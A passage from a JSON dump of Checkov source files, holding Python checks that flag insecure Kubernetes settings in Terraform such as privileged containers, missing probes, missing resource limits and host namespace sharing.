spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            if spec.get(\"container\"):\n                containers = spec.get(\"container\")\n                for idx, container in enumerate(containers):\n                    if not isinstance(container, dict):\n                        return CheckResult.UNKNOWN\n                    if container.get(\"image\"):\n                        name = container.get(\"image\")[0]\n                        if \":\" in name:\n                            if name.split(\":\")[1] in (\"latest\", \"\"):\n                                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image']\n                                return CheckResult.FAILED\n                            continue\n                        if \"@\" in name:\n                            continue\n                        self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image']\n                        return CheckResult.FAILED\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n                    return CheckResult.FAILED\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n\ncheck = ImageTagFixed()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/LivenessProbe.py",
    "content": "from typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LivenessProbe(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Liveness Probe Should be Configured\"\n        id = \"CKV_K8S_8\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/[0]/container/[0]/liveness_probe/[0]\"\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n\n        if isinstance(spec, dict) and spec:\n            evaluated_keys_path = \"spec\"\n\n            template = spec.get(\"template\")\n            if template and isinstance(template, list):\n                template = template[0]\n                template_spec = template.get(\"spec\")\n                if template_spec and isinstance(template_spec, list):\n                    spec = template_spec[0]\n                    evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n            containers = spec.get(\"container\")\n            if containers is None:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"liveness_probe\"):\n                    return CheckResult.PASSED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n                return CheckResult.FAILED\n\n        return CheckResult.FAILED\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = LivenessProbe()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/MemoryLimits.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MemoryLimits(BaseResourceCheck):\n    def __init__(self):\n        name = \"Memory Limits should be set\"\n        id = \"CKV_K8S_12\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        evaluated_keys_path = \"spec\"\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if containers is None:\n            return CheckResult.UNKNOWN\n        for idx, container in enumerate(containers):\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"resources\"):\n                resources = container.get(\"resources\")[0]\n                if resources.get('limits'):\n                    limits = resources.get('limits')[0]\n                    if isinstance(limits, dict) and limits.get('memory'):\n                        return CheckResult.PASSED\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/limits']\n                    return CheckResult.FAILED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources']\n                return CheckResult.FAILED\n            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = MemoryLimits()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/MemoryRequests.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MemoryRequests(BaseResourceCheck):\n    def __init__(self):\n        name = \"Memory requests should be set\"\n        id = \"CKV_K8S_13\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if containers is None:\n            return CheckResult.UNKNOWN\n        for idx, container in enumerate(containers):\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"resources\"):\n                resources = container.get(\"resources\")[0]\n                if resources.get('requests'):\n                    requests = resources.get('requests')[0]\n                    if isinstance(requests, dict) and requests.get('memory'):  # nosec  # false positive\n                        return CheckResult.PASSED\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources/[0]/requests']\n                    return CheckResult.FAILED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/resources']\n                return CheckResult.FAILED\n            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = MemoryRequests()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/MinimiseCapabilities.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MinimiseCapabilities(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.2.9\n        name = \"Minimise the admission of containers with capabilities assigned\"\n        id = \"CKV_K8S_37\"\n\n        supported_resources = ['kubernetes_pod', \"kubernetes_pod_v1\",\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\"):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"capabilities\"):\n                        capabilities = context.get(\"capabilities\")[0]\n                        if isinstance(capabilities, dict) and capabilities.get(\"drop\") and isinstance(capabilities.get(\"drop\"), list):\n                            drop = capabilities.get(\"drop\")[0]\n                            if not any(item in (\"ALL\", \"all\") for item in drop):\n                                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/'\n                                                       f'security_context/[0]/capabilities/drop']\n                                return CheckResult.FAILED\n                        else:\n                            self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/'\n                                                   f'security_context/[0]/capabilities']\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = MinimiseCapabilities()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/MinimiseCapabilitiesPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MinimiseCapabilitiesPSP(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.7\n        # CIS-1.5 5.2.9\n        name = \"Minimise the admission of containers with capabilities assigned\"\n        # Location: PodSecurityPolicy.spec.requiredDropCapabilities\n        id = \"CKV_K8S_36\"\n\n        supported_resources = ['kubernetes_pod_security_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        self.evaluated_keys = [\"\"]\n        if conf.get('spec'):\n            spec = conf.get('spec')[0]\n            if not spec:\n                return CheckResult.UNKNOWN\n\n            self.evaluated_keys = [\"spec\"]\n            if spec.get(\"required_drop_capabilities\"):\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = MinimiseCapabilitiesPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/PodSecurityContext.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass PodSecurityContext(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.7.3\n        name = \"Apply security context to your pods, deployments and daemon_sets\"\n        # Security context can be set at pod or container level.\n        id = \"CKV_K8S_29\"\n\n        supported_resources = ('kubernetes_pod', 'kubernetes_pod_v1',\n                               'kubernetes_deployment', 'kubernetes_deployment_v1',\n                               'kubernetes_daemonset', 'kubernetes_daemon_set_v1')\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        if spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n\n                if not container.get(\"security_context\"):\n                    self.evaluated_keys = [f\"spec/[0]/container/{idx}\"]\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        if spec.get(\"template\") and isinstance(spec.get(\"template\"), list):\n            template = spec.get(\"template\")[0]\n            if template.get(\"spec\") and isinstance(template.get(\"spec\"), list):\n                temp_spec = template.get(\"spec\")[0]\n                if temp_spec.get(\"container\"):\n                    containers = temp_spec.get(\"container\")\n\n                    for idx, container in enumerate(containers):\n                        if not isinstance(container, dict):\n                            return CheckResult.UNKNOWN\n\n                        if not container.get(\"security_context\"):\n                            self.evaluated_keys = [f\"spec/[0]/template/[0]/spec/[0]/container/{idx}\"]\n                            return CheckResult.FAILED\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PodSecurityContext()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass PrivilegedContainers(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.1\n        # CIS-1.5 5.2.1\n        name = \"Do not admit privileged containers\"\n        id = \"CKV_K8S_16\"\n\n        supported_resources = ['kubernetes_pod', \"kubernetes_pod_v1\",\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        evaluated_keys_path = \"spec\"\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\"):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"privileged\") == [True]:\n                        self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/privileged']\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = PrivilegedContainers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/PrivilegedContainerPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass PrivilegedContainersPSP(BaseResourceCheck):\n    def __init__(self):\n        # CIS-1.3 1.7.1\n        # CIS-1.5 5.2.1\n        name = \"Do not admit privileged containers\"\n        id = \"CKV_K8S_2\"\n\n        supported_resources = (\"kubernetes_pod_security_policy\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if not spec:\n            return CheckResult.UNKNOWN\n        # for psp\n        if isinstance(spec, dict) and spec.get(\"privileged\") == [True]:\n            self.evaluated_keys = [\"spec/[0]/privileged\"]\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = PrivilegedContainersPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ReadinessProbe.py",
    "content": "from typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ReadinessProbe(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Readiness Probe Should be Configured\"\n        id = \"CKV_K8S_9\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        if \"kubernetes_deployment\" == self.entity_type or \"kubernetes_deployment_v1\" == self.entity_type:\n            return \"spec/[0]/template/[0]/spec/[0]/container/[0]/readiness_probe/[0]\"\n        return \"spec/[0]/container/[0]/readiness_probe/[0]\"\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        evaluated_keys_path = \"spec\"\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec:\n            containers = spec.get(\"container\")\n            if containers is None:\n                return CheckResult.UNKNOWN\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"readiness_probe\"):\n                    return CheckResult.PASSED\n                self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]']\n                return CheckResult.FAILED\n\n        return CheckResult.FAILED\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = ReadinessProbe()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ReadonlyRootFilesystem(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Use read-only filesystem for containers where possible\"\n        id = \"CKV_K8S_22\"\n\n        supported_resources = ['kubernetes_pod', \"kubernetes_pod_v1\",\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        spec = conf.get('spec', [None])[0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n        if spec.get(\"template\") and isinstance(spec.get(\"template\"), list):\n            template = spec.get(\"template\")[0]\n            if template.get(\"spec\") and isinstance(template.get(\"spec\"), list):\n                spec = template.get(\"spec\")[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        if isinstance(spec, dict) and spec.get(\"container\"):\n            containers = spec.get(\"container\")\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n                if container.get(\"security_context\"):\n                    context = container.get(\"security_context\")[0]\n                    if context.get(\"read_only_root_filesystem\") != [True]:\n                        self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/read_only_root_filesystem']\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ReadonlyRootFilesystem()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass RootContainersPSP(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.6\n        # CIS-1.5 5.2.6\n        name = \"Do not admit root containers\"\n        id = \"CKV_K8S_6\"\n        supported_resources = ['kubernetes_pod_security_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        # required param\n        if \"spec\" in conf:\n            self.evaluated_keys = [\"spec\"]\n            # required param\n            if \"run_as_user\" in conf[\"spec\"][0]:\n                self.evaluated_keys = [\"spec/[0]/run_as_user\"]\n                runas = conf[\"spec\"][0][\"run_as_user\"][0]\n                if runas[\"rule\"]:\n                    self.evaluated_keys = [\"spec/[0]/run_as_user/[0]/rule\"]\n                    inspected_value = runas[\"rule\"][0]\n                    if inspected_value == \"MustRunAsNonRoot\":\n                        return CheckResult.PASSED\n                    elif inspected_value == \"MustRunAs\":\n                        if runas[\"range\"]:\n                            for item in runas[\"range\"]:\n                                if item[\"min\"][0] == 0:\n                                    return CheckResult.FAILED\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = RootContainersPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/SeccompPSP.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SeccompPSP(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.7.2\n        name = \"Ensure default seccomp profile set to docker/default or runtime/default\"\n        id = \"CKV_K8S_32\"\n        supported_resources = ['kubernetes_pod_security_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"metadata\" in conf:\n            self.evaluated_keys = [\"metadata\"]\n            if \"annotations\" in conf[\"metadata\"][0]:\n                self.evaluated_keys = [\"metadata/[0]/annotations\"]\n                metadata = conf[\"metadata\"][0]\n                if metadata.get(\"annotations\"):\n                    annotations = metadata[\"annotations\"][0]\n                    if annotations is not None:\n                        for annotation in annotations:\n                            annotation = ''.join(annotation.split())\n                            if annotation == \"seccomp.security.alpha.kubernetes.io/defaultProfileName\":\n                                my_value = str(annotations.get(annotation))\n                                if \"docker/default\" in my_value or \"runtime/default\" in my_value:\n                                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = SeccompPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/Secrets.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass Secrets(BaseResourceCheck):\n\n    def __init__(self):\n        # CIS-1.5 5.4.1\n        name = \"Prefer using secrets as files over secrets as environment variables\"\n        id = \"CKV_K8S_35\"\n\n        supported_resources = ['kubernetes_pod', \"kubernetes_pod_v1\",\n                               'kubernetes_deployment', 'kubernetes_deployment_v1']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if containers:\n\n            for idx, container in enumerate(containers):\n                if not isinstance(container, dict):\n                    return CheckResult.UNKNOWN\n\n                if container.get(\"env\") and isinstance(container.get(\"env\"), list):\n                    env = container.get(\"env\")[0]\n                    for idy, e in enumerate(env):\n                        if \"value_from\" in e:\n                            if isinstance(env.get(\"value_from\"), list):\n                                value_from = env.get(\"value_from\")[0]\n                                if value_from.get(\"secret_key_ref\"):\n                                    self.evaluated_keys = \\\n                                        [f\"{evaluated_keys_path}/[0]/container/[{idx}]/env/[{idy}]/value_from/secret_key_ref\"]\n                                    return CheckResult.FAILED\n                if container.get(\"env_from\") and isinstance(container.get(\"env_from\"), list):\n                    env_from = container.get(\"env_from\")[0]\n                    for idy, ef in enumerate(env_from):\n                        if \"secret_ref\" in ef:\n                            self.evaluated_keys = \\\n                                [f\"{evaluated_keys_path}/[0]/container/[{idx}]/env_from/[{idy}]/secret_ref\"]\n                            return CheckResult.FAILED\n            return CheckResult.PASSED\n\n\ncheck = Secrets()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ShareHostIPC(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.3\n        # CIS-1.5 5.2.3\n        name = \"Do not admit containers wishing to share the host IPC namespace\"\n        id = \"CKV_K8S_18\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        if \"kubernetes_deployment\" == self.entity_type or \"kubernetes_deployment_v1\" == self.entity_type:\n            return \"spec/[0]/template/[0]/spec/[0]/host_ipc\"\n        return \"spec/[0]/host_ipc\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = ShareHostIPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py",
    "content": "from typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ShareHostIPCPSP(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.3\n        # CIS-1.5 5.2.3\n        name = \"Do not admit containers wishing to share the host IPC namespace\"\n        id = \"CKV_K8S_3\"\n        supported_resources = [\"kubernetes_pod_security_policy\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"spec/[0]/host_ipc\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = ShareHostIPCPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ShareHostPID.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ShareHostPID(BaseResourceValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.2\n        # CIS-1.5 5.2.2\n        name = \"Do not admit containers wishing to share the host process ID namespace\"\n        id = \"CKV_K8S_17\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        if \"kubernetes_deployment\" == self.entity_type or \"kubernetes_deployment_v1\" == self.entity_type:\n            return \"spec/[0]/template/[0]/spec/[0]/host_pid\"\n        return \"spec/[0]/host_pid\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = ShareHostPID()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ShareHostPIDPSP(BaseResourceValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.2\n        # CIS-1.5 5.2.2\n        name = \"Do not admit containers wishing to share the host process ID namespace\"\n        id = \"CKV_K8S_1\"\n        supported_resources = [\"kubernetes_pod_security_policy\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/[0]/host_pid\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = ShareHostPIDPSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SharedHostNetworkNamespace(BaseResourceValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.4\n        # CIS-1.5 5.2.4\n        name = \"Do not admit containers wishing to share the host network namespace\"\n        id = \"CKV_K8S_19\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        if \"kubernetes_deployment\" == self.entity_type or \"kubernetes_deployment_v1\" == self.entity_type:\n            return \"spec/[0]/template/[0]/spec/[0]/host_network\"\n        return \"spec/[0]/host_network\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = SharedHostNetworkNamespace()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SharedHostNetworkNamespacePSP(BaseResourceValueCheck):\n\n    def __init__(self):\n        # CIS-1.3 1.7.4\n        # CIS-1.5 5.2.4\n        name = \"Do not admit containers wishing to share the host network namespace\"\n        id = \"CKV_K8S_4\"\n        supported_resources = [\"kubernetes_pod_security_policy\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"spec/[0]/host_network\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = SharedHostNetworkNamespacePSP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/Tiller.py",
